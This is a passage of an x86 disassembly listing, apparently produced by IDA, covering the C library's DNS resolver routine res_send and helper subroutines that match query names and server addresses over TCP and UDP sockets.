		mov	dword_807853C, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dword_8078540, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804E6F8	proc near		; CODE XREF: res_send+808p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		mov	[ebp+var_10], ecx
		mov	eax, [edx+4]
		mov	[ebp+var_C], eax
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	eax, [edx+0Ch]
		mov	[ebp+var_4], eax
		xor	esi, esi
		mov	[ebp+var_14], 0
		cmp	dword_8078550, esi
		jle	loc_804E875
		mov	[ebp+var_18], ecx
		mov	ecx, offset dword_8078558
		mov	[ebp+var_1C], offset dword_8078554
		mov	eax, dword_8078550
		and	eax, 3
		cmp	dword_8078550, esi
		jle	short loc_804E7B9
		test	eax, eax
		jz	loc_804E7F0
		cmp	eax, 1
		jle	short loc_804E7B9
		cmp	eax, 2
		jle	short loc_804E791
		mov	ebx, [ebp+var_18]
		cmp	dword_8078554, ebx
		jnz	short loc_804E787
		cmp	dword_8078558, 0
		jz	loc_804E859
		mov	eax, dword_8078558
		cmp	[ebp+var_C], eax
		jz	loc_804E859

loc_804E787:				; CODE XREF: sub_804E6F8+72j
		add	ecx, 10h
		add	[ebp+var_1C], 10h
		inc	[ebp+var_14]

loc_804E791:				; CODE XREF: sub_804E6F8+67j
		mov	ebx, [ebp+var_18]
		mov	edi, [ebp+var_1C]
		cmp	[edi], ebx
		jnz	short loc_804E7AF
		cmp	dword ptr [ecx], 0
		jz	loc_804E859
		mov	eax, [ecx]
		cmp	[ebp+var_C], eax
		jz	loc_804E859

loc_804E7AF:				; CODE XREF: sub_804E6F8+A1j
		add	ecx, 10h
		add	[ebp+var_1C], 10h
		inc	[ebp+var_14]

loc_804E7B9:				; CODE XREF: sub_804E6F8+55j
					; sub_804E6F8+62j
		mov	ebx, [ebp+var_18]
		mov	edi, [ebp+var_1C]
		cmp	[edi], ebx
		jnz	short loc_804E7D7
		cmp	dword ptr [ecx], 0
		jz	loc_804E859
		mov	eax, [ecx]
		cmp	[ebp+var_C], eax
		jz	loc_804E859

loc_804E7D7:				; CODE XREF: sub_804E6F8+C9j
		add	ecx, 10h
		add	[ebp+var_1C], 10h
		inc	[ebp+var_14]
		mov	edi, [ebp+var_14]
		cmp	dword_8078550, edi
		jz	loc_804E875

loc_804E7F0:				; CODE XREF: sub_804E6F8+59j
		mov	[ebp+var_20], ecx
		mov	edx, ecx
		mov	ecx, [ebp+var_1C]

loc_804E7F8:				; CODE XREF: sub_804E6F8+17Bj
		mov	ebx, [ebp+var_18]
		cmp	[ecx], ebx
		jnz	short loc_804E80E
		cmp	dword ptr [edx], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi]
		cmp	[ebp+var_C], eax
		jz	short loc_804E859

loc_804E80E:				; CODE XREF: sub_804E6F8+105j
		mov	ebx, [ebp+var_18]
		cmp	[ecx+10h], ebx
		jnz	short loc_804E827
		cmp	dword ptr [edx+10h], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi+10h]
		cmp	[ebp+var_C], eax
		jz	short loc_804E859

loc_804E827:				; CODE XREF: sub_804E6F8+11Cj
		mov	ebx, [ebp+var_18]
		cmp	[ecx+20h], ebx
		jnz	short loc_804E840
		cmp	dword ptr [edx+20h], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi+20h]
		cmp	[ebp+var_C], eax
		jz	short loc_804E859

loc_804E840:				; CODE XREF: sub_804E6F8+135j
		mov	ebx, [ebp+var_18]
		cmp	[ecx+30h], ebx
		jnz	short loc_804E85C
		cmp	dword ptr [edx+30h], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi+30h]
		cmp	[ebp+var_C], eax
		jnz	short loc_804E85C

loc_804E859:				; CODE XREF: sub_804E6F8+7Bj
					; sub_804E6F8+89j ...
		inc	esi
		jmp	short loc_804E875
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E85C:				; CODE XREF: sub_804E6F8+14Ej
					; sub_804E6F8+15Fj
		add	[ebp+var_20], 40h
		add	edx, 40h
		add	ecx, 40h
		add	[ebp+var_14], 4
		mov	ebx, [ebp+var_14]
		cmp	dword_8078550, ebx
		jnz	short loc_804E7F8

loc_804E875:				; CODE XREF: sub_804E6F8+32j
					; sub_804E6F8+F2j ...
		mov	eax, esi
		lea	esp, [ebp+var_2C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E6F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804E884	proc near		; CODE XREF: sub_804E944+A2p

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_C]
		add	esi, 0Ch
		mov	edx, [ebp+arg_C]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	loc_804E933
		lea	edx, [ebp+var_104]
		mov	[ebp+var_108], edx
		lea	esi, [esi+0]

loc_804E8BC:				; CODE XREF: sub_804E884+ADj
		push	101h
		mov	edx, [ebp+var_108]
		push	edx
		push	esi
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		call	dn_expand
		add	esp, 14h
		test	eax, eax
		jge	short loc_804E8E4
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804E935
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E8E4:				; CODE XREF: sub_804E884+57j
		add	esi, eax
		push	esi
		call	sub_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		add	esi, 2
		add	esp, 8
		cmp	[ebp+arg_4], ebx
		jnz	short loc_804E92C
		cmp	[ebp+arg_8], eax
		jnz	short loc_804E92C
		mov	edx, [ebp+arg_0]
		push	edx
		mov	edx, [ebp+var_108]
		push	edx
		call	strcasecmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_804E92C
		mov	eax, 1
		jmp	short loc_804E935
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E92C:				; CODE XREF: sub_804E884+82j
					; sub_804E884+87j ...
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_804E8BC

loc_804E933:				; CODE XREF: sub_804E884+23j
		xor	eax, eax

loc_804E935:				; CODE XREF: sub_804E884+5Ej
					; sub_804E884+A5j
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E884	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_804E944	proc near		; CODE XREF: res_send+853p

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	edx, [ebp+arg_0]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		mov	edx, [ebp+arg_8]
		mov	ax, [edx+4]
		xchg	al, ah
		and	eax, 0FFFFh
		cmp	edi, eax
		jz	short loc_804E984

loc_804E974:				; CODE XREF: sub_804E944+ACj
		xor	eax, eax
		jmp	loc_804E9FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E97C:				; CODE XREF: sub_804E944+73j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804E9FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E984:				; CODE XREF: sub_804E944+2Ej
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_804E9F9
		lea	edx, [ebp+var_104]
		mov	[ebp+var_108], edx
		nop

loc_804E998:				; CODE XREF: sub_804E944+B3j
		push	101h
		mov	edx, [ebp+var_108]
		push	edx
		push	esi
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dn_expand
		add	esp, 14h
		test	eax, eax
		jl	short loc_804E97C
		add	esi, eax
		push	esi
		call	sub_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		add	esi, 2
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	ebx
		mov	edx, [ebp+var_108]
		push	edx
		call	sub_804E884
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_804E974
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_804E998

loc_804E9F9:				; CODE XREF: sub_804E944+45j
		mov	eax, 1

loc_804E9FE:				; CODE XREF: sub_804E944+32j
					; sub_804E944+3Dj
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E944	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: library function bp-based	frame

res_send	proc near		; CODE XREF: res_query+B8p

var_264		= byte ptr -264h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_1FC		= byte ptr -1FCh
var_1EC		= word ptr -1ECh
var_1EA		= word ptr -1EAh
var_1E8		= dword	ptr -1E8h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 258h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_22C], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_230], ecx
		test	byte ptr dword_807854C,	1
		jnz	short loc_804EA41
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jz	loc_804F4E4	; default

loc_804EA41:				; CODE XREF: res_send+25j
		test	byte ptr dword_807854C,	2
		jnz	short loc_804EA53
		test	byte ptr dword_80786A4+1, 10h
		jz	short loc_804EA77

loc_804EA53:				; CODE XREF: res_send+3Cj
		push	offset aRes_send ; ";; res_send()\n"
		push	offset unk_8078750
		call	_IO_fprintf
		push	offset unk_8078750
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_805F1DC
		add	esp, 14h

loc_804EA77:				; CODE XREF: res_send+45j
		mov	[ebp+var_244], 0
		test	byte ptr dword_807854C,	8
		jnz	short loc_804EA93
		cmp	[ebp+arg_4], 200h
		jle	short loc_804EA9D

loc_804EA93:				; CODE XREF: res_send+7Cj
		mov	[ebp+var_244], 1

loc_804EA9D:				; CODE XREF: res_send+85j
		mov	[ebp+var_234], 0
		mov	[ebp+var_238], 0
		mov	[ebp+var_23C], 6Eh
		mov	[ebp+var_248], 0
		mov	[ebp+var_240], 0
		mov	edi, [ebp+var_234]
		cmp	dword_8078548, edi
		jle	loc_804F475
		lea	esi, [esi+0]

loc_804EAE4:				; CODE XREF: res_send+A63j
		xor	esi, esi
		cmp	dword_8078550, esi
		jle	loc_804F45D
		lea	esi, [esi]

loc_804EAF4:				; CODE XREF: res_send+A4Bj
		mov	eax, esi
		shl	eax, 4
		add	eax, offset dword_8078554
		mov	[ebp+var_4], eax

loc_804EB01:				; CODE XREF: res_send+386j
					; res_send+946j
		mov	eax, [ebp+var_248]
		bt	eax, esi
		jnb	short loc_804EB18

loc_804EB0C:				; CODE XREF: res_send+146j
					; res_send+364j ...
		call	sub_804F4F8	; case 0x1
		jmp	loc_804F450
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EB18:				; CODE XREF: res_send+FEj
		cmp	dword_807853C, 0
		jz	short loc_804EB80 ; case 0x0
		xor	ebx, ebx
		nop

loc_804EB24:				; CODE XREF: res_send+172j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+arg_4]
		push	ecx
		lea	edi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, dword_807853C
		call	ecx
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 4		; switch 5 cases 
		ja	loc_804F4E4	; default
		jmp	ds:off_804EB5C[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_804EB5C	dd offset loc_804EB80	; DATA XREF: res_send+146r
		dd offset loc_804EB0C	; jump table for switch	statement
		dd offset loc_804EB70
		dd offset loc_804F448
		dd offset loc_804F4E4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EB70:				; CODE XREF: res_send+146j
					; DATA XREF: res_send+150o
		inc	ebx		; case 0x2
		cmp	ebx, 29h
		jg	loc_804F4E4	; default
		xor	edi, edi
		test	edi, edi
		jz	short loc_804EB24

loc_804EB80:				; CODE XREF: res_send+113j
					; res_send+146j
					; DATA XREF: ...
		test	byte ptr dword_807854C,	2 ; case 0x0
		jz	short loc_804EBAC
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	inet_ntoa
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	offset aQueryingServer ; ";; Querying server (#	%d) address = %s\n"
		push	offset unk_8078750
		call	_IO_fprintf
		add	esp, 14h

loc_804EBAC:				; CODE XREF: res_send+17Bj
		cmp	[ebp+var_244], 0
		jz	loc_804EEC0
		mov	eax, dword_8078548
		mov	[ebp+var_240], eax
		mov	[ebp+var_24C], 0
		cmp	dword_8078530, 0
		jl	short loc_804EBF2
		cmp	dword_8078538, 0
		jnz	loc_804EC86
		cmp	dword_8078530, 0
		jl	short loc_804EBF2
		call	sub_804F4F8

loc_804EBF2:				; CODE XREF: res_send+1C9j
					; res_send+1DFj
		push	0
		push	1
		push	2
		call	socket		; open a SOCK_STREAM socket, type PF_INET, proto IP
		mov	edx, eax
		mov	dword_8078530, edx
		add	esp, 0Ch
		test	edx, edx
		jl	loc_804F4A4
		mov	errno, 0
		push	10h
		mov	eax, [ebp+var_4]
		push	eax
		push	edx
		call	connect
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_804EC7C
		mov	ecx, errno
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_4]
		mov	edi, [edx+0Ch]
		push	edi
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [edx+4]
		push	ecx
		mov	edx, [edx]
		mov	[ebp+var_250], edx
		push	edx
		mov	edi, [ebp+var_23C]
		push	edi
		push	offset aConnectVc ; "connect/vc"
		push	offset unk_80787A4
		call	Aerror
		mov	edi, 1
		mov	ecx, esi
		shl	edi, cl
		or	[ebp+var_248], edi
		jmp	loc_804F065
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EC7C:				; CODE XREF: res_send+21Fj
		mov	dword_8078538, 1

loc_804EC86:				; CODE XREF: res_send+1D2j
		lea	ebx, [ebp+var_1A]
		push	ebx
		movzx	eax, word ptr [ebp+arg_4]
		push	eax
		call	sub_804D700
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	__writev
		mov	edx, eax
		mov	eax, [ebp+arg_4]
		add	eax, 2
		add	esp, 14h
		cmp	edx, eax
		jz	short loc_804ECFC
		mov	eax, errno
		mov	[ebp+var_23C], eax
		push	eax
		push	offset aWriteFailed ; "write failed"
		push	offset unk_80787A4
		call	sub_804E694
		mov	edi, 1
		mov	ecx, esi
		shl	edi, cl
		or	[ebp+var_248], edi
		jmp	loc_804F19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804ECFC:				; CODE XREF: res_send+2BCj
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_254], eax
		mov	[ebp+var_1A], 2
		nop

loc_804ED0C:				; CODE XREF: res_send+333j
		movzx	ecx, [ebp+var_1A]
		push	ecx
		mov	edi, [ebp+var_254]
		push	edi
		mov	eax, dword_8078530
		push	eax
		call	__libc_read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jle	short loc_804ED45
		add	edi, ebx
		mov	[ebp+var_254], edi
		mov	ax, [ebp+var_1A]
		sub	ax, bx
		mov	[ebp+var_1A], ax
		jnz	short loc_804ED0C
		test	ebx, ebx
		jg	short loc_804ED98

loc_804ED45:				; CODE XREF: res_send+31Ej
		mov	ecx, errno
		mov	[ebp+var_23C], ecx
		push	ecx
		push	offset aReadFailed ; "read failed"
		push	offset unk_80787A4
		call	sub_804E694
		call	sub_804F4F8
		add	esp, 0Ch
		cmp	[ebp+var_23C], 68h
		jnz	loc_804EB0C	; case 0x1
		cmp	[ebp+var_238], 0
		jnz	loc_804EB0C	; case 0x1
		mov	[ebp+var_238], 1
		call	sub_804F4F8
		jmp	loc_804EB01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804ED98:				; CODE XREF: res_send+337j
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_804D6B8
		mov	edx, eax
		and	edx, 0FFFFh
		mov	[ebp+var_8], edx
		add	esp, 4
		mov	eax, [ebp+arg_C]
		cmp	edx, eax
		jle	short loc_804EDE8
		test	byte ptr dword_807854C,	2
		jz	short loc_804EDD1
		push	offset aResponseTrunca ; ";; response truncated\n"
		push	offset unk_8078750
		call	_IO_fprintf
		add	esp, 8

loc_804EDD1:				; CODE XREF: res_send+3B1j
		mov	[ebp+var_24C], 1
		mov	cx, word ptr [ebp+arg_C]
		mov	[ebp+var_1A], cx
		jmp	short loc_804EDF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EDE8:				; CODE XREF: res_send+3A8j
		mov	ax, word ptr [ebp+var_8]
		mov	[ebp+var_1A], ax

loc_804EDF0:				; CODE XREF: res_send+3D7j
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_254], edi
		cmp	[ebp+var_1A], 0
		jz	short loc_804EE34

loc_804EE00:				; CODE XREF: res_send+426j
		movzx	eax, [ebp+var_1A]
		push	eax
		mov	ecx, [ebp+var_254]
		push	ecx
		mov	edi, dword_8078530
		push	edi
		call	__libc_read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jle	short loc_804EE38
		add	[ebp+var_254], ebx
		mov	ax, [ebp+var_1A]
		sub	ax, bx
		mov	[ebp+var_1A], ax
		jnz	short loc_804EE00

loc_804EE34:				; CODE XREF: res_send+3F2j
		test	ebx, ebx
		jg	short loc_804EE50

loc_804EE38:				; CODE XREF: res_send+413j
		mov	eax, errno
		mov	[ebp+var_23C], eax
		push	eax
		push	offset aReadVc	; "read(vc)"
		jmp	loc_804F193
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EE50:				; CODE XREF: res_send+42Aj
		cmp	[ebp+var_24C], 0
		jz	loc_804F358
		mov	ecx, [ebp+var_230]
		or	byte ptr [ecx+2], 2
		mov	di, word ptr [ebp+var_8]
		sub	di, word ptr [ebp+arg_C]
		mov	[ebp+var_1A], di
		jz	loc_804F358
		lea	esi, [esi+0]

loc_804EE7C:				; CODE XREF: res_send+4ACj
		mov	ebx, 200h
		cmp	[ebp+var_1A], 200h
		ja	short loc_804EE8D
		movzx	ebx, [ebp+var_1A]

loc_804EE8D:				; CODE XREF: res_send+47Bj
		push	ebx
		lea	eax, [ebp+var_21C]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	__libc_read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jle	loc_804F358
		mov	ax, [ebp+var_1A]
		sub	ax, bx
		mov	[ebp+var_1A], ax
		jnz	short loc_804EE7C
		jmp	loc_804F358
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EEC0:				; CODE XREF: res_send+1A7j
		cmp	dword_8078530, 0
		jl	short loc_804EED2
		cmp	dword_8078538, 0
		jz	short loc_804EF05

loc_804EED2:				; CODE XREF: res_send+4BBj
		cmp	dword_8078538, 0
		jz	short loc_804EEE0
		call	sub_804F4F8

loc_804EEE0:				; CODE XREF: res_send+4CDj
		push	0
		push	2
		push	2
		call	socket		; open a SOCK_DGRAM socket, type PF_INET, proto	IP
		mov	dword_8078530, eax
		add	esp, 0Ch
		test	eax, eax
		jl	loc_804F4C4
		mov	dword_8078534, 0

loc_804EF05:				; CODE XREF: res_send+4C4j
		cmp	dword_8078550, 1
		jz	short loc_804EF23
		cmp	[ebp+var_240], 0
		jnz	loc_804EFBC
		test	esi, esi
		jnz	loc_804EFBC

loc_804EF23:				; CODE XREF: res_send+500j
		cmp	dword_8078534, 0
		jnz	short loc_804EF72
		push	10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	connect
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_804EF68
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, errno
		push	eax
		push	offset aConnectDg ; "connect(dg)"
		jmp	loc_804F04C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EF68:				; CODE XREF: res_send+536j
		mov	dword_8078534, 1

loc_804EF72:				; CODE XREF: res_send+51Ej
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	send
		add	esp, 10h
		cmp	[ebp+arg_4], eax
		jz	loc_804F074
		mov	eax, errno
		push	eax
		push	offset aSend	; "send"
		push	offset unk_80787A4
		call	sub_804E694
		mov	eax, 1
		mov	ecx, esi
		shl	eax, cl
		or	[ebp+var_248], eax
		jmp	loc_804F19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EFBC:				; CODE XREF: res_send+509j
					; res_send+511j
		cmp	dword_8078534, 0
		jz	short loc_804F00C
		mov	[ebp+var_1EC], 2
		mov	[ebp+var_1E8], 0
		mov	[ebp+var_1EA], 0
		push	10h
		lea	eax, [ebp+var_1EC]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	connect
		mov	dword_8078534, 0
		mov	errno, 0
		add	esp, 0Ch

loc_804F00C:				; CODE XREF: res_send+5B7j
		push	10h
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	sendto
		add	esp, 18h
		cmp	[ebp+arg_4], eax
		jz	short loc_804F074
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [edx+8]
		push	eax
		mov	eax, [edx+4]
		push	eax
		mov	eax, [edx]
		push	eax
		mov	eax, errno
		push	eax
		push	offset aSendto	; "sendto"

loc_804F04C:				; CODE XREF: res_send+555j
		push	offset unk_80787A4
		call	Aerror
		mov	eax, 1
		mov	ecx, esi
		shl	eax, cl
		or	[ebp+var_248], eax

loc_804F065:				; CODE XREF: res_send+26Aj
		call	sub_804F4F8
		add	esp, 1Ch
		jmp	loc_804F450
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F074:				; CODE XREF: res_send+581j
					; res_send+621j
		mov	edx, dword_8078544
		mov	ecx, [ebp+var_240]
		shl	edx, cl
		mov	[ebp+var_224], edx
		test	ecx, ecx
		jle	short loc_804F09B
		mov	eax, edx
		cdq
		idiv	dword_8078550
		mov	[ebp+var_224], eax

loc_804F09B:				; CODE XREF: res_send+67Ej
		cmp	[ebp+var_224], 0
		jg	short loc_804F0AE
		mov	[ebp+var_224], 1

loc_804F0AE:				; CODE XREF: res_send+696j
		mov	[ebp+var_220], 0

loc_804F0B8:				; CODE XREF: res_send+6F3j
					; res_send+7CEj ...
		lea	edx, [ebp+var_21C]
		xor	eax, eax
		mov	ecx, 8
		mov	edi, edx
		cld
		repe stosd
		mov	eax, dword_8078530
		bts	[ebp+var_21C], eax
		lea	ecx, [ebp+var_224]
		push	ecx
		push	0
		push	0
		push	edx
		mov	edi, dword_8078530
		inc	edi
		push	edi
		call	__select
		mov	ebx, eax
		add	esp, 14h
		test	ebx, ebx
		jge	short loc_804F114
		cmp	errno, 4
		jz	short loc_804F0B8
		mov	eax, errno
		push	eax
		push	offset aSelect	; "select"
		jmp	loc_804F193
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F114:				; CODE XREF: res_send+6EAj
		test	ebx, ebx
		jnz	short loc_804F144
		test	byte ptr dword_807854C,	2
		jz	short loc_804F133
		push	offset aTimeout	; ";; timeout\n"
		push	offset unk_8078750
		call	_IO_fprintf
		add	esp, 8

loc_804F133:				; CODE XREF: res_send+713j
		mov	[ebp+var_234], 1
		jmp	loc_804EB0C	; case 0x1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F144:				; CODE XREF: res_send+70Aj
		mov	errno, 0
		mov	[ebp+var_228], 10h
		lea	eax, [ebp+var_228]
		push	eax
		lea	ecx, [ebp+var_1FC]
		push	ecx
		push	0
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, dword_8078530
		push	ecx
		call	recvfrom
		mov	edx, eax
		mov	[ebp+var_8], edx
		add	esp, 18h
		test	edx, edx
		jg	short loc_804F1AC
		mov	eax, errno
		push	eax
		push	offset aRecvfrom ; "recvfrom"

loc_804F193:				; CODE XREF: res_send+43Dj
					; res_send+700j
		push	offset unk_80787A4
		call	sub_804E694

loc_804F19D:				; CODE XREF: res_send+2E8j
					; res_send+5ABj
		call	sub_804F4F8
		add	esp, 0Ch
		jmp	loc_804F450
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F1AC:				; CODE XREF: res_send+77Aj
		mov	[ebp+var_234], 1
		mov	edi, [ebp+var_22C]
		mov	di, [edi]
		mov	eax, [ebp+var_230]
		cmp	[eax], di
		jz	short loc_804F204
		test	byte ptr dword_807854C,	2
		jnz	short loc_804F1E0
		test	byte ptr dword_80786A4+1, 20h
		jz	loc_804F0B8

loc_804F1E0:				; CODE XREF: res_send+7C5j
		push	offset aOldAnswer ; ";;	old answer:\n"
		push	offset unk_8078750
		call	_IO_fprintf
		push	offset unk_8078750
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edi, [ebp+arg_8]
		push	edi
		jmp	loc_804F29F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804F204:				; CODE XREF: res_send+7BCj
		test	byte ptr dword_807854C+1, 4
		jnz	short loc_804F240
		lea	eax, [ebp+var_1FC]
		push	eax
		call	sub_804E6F8
		add	esp, 4
		test	eax, eax
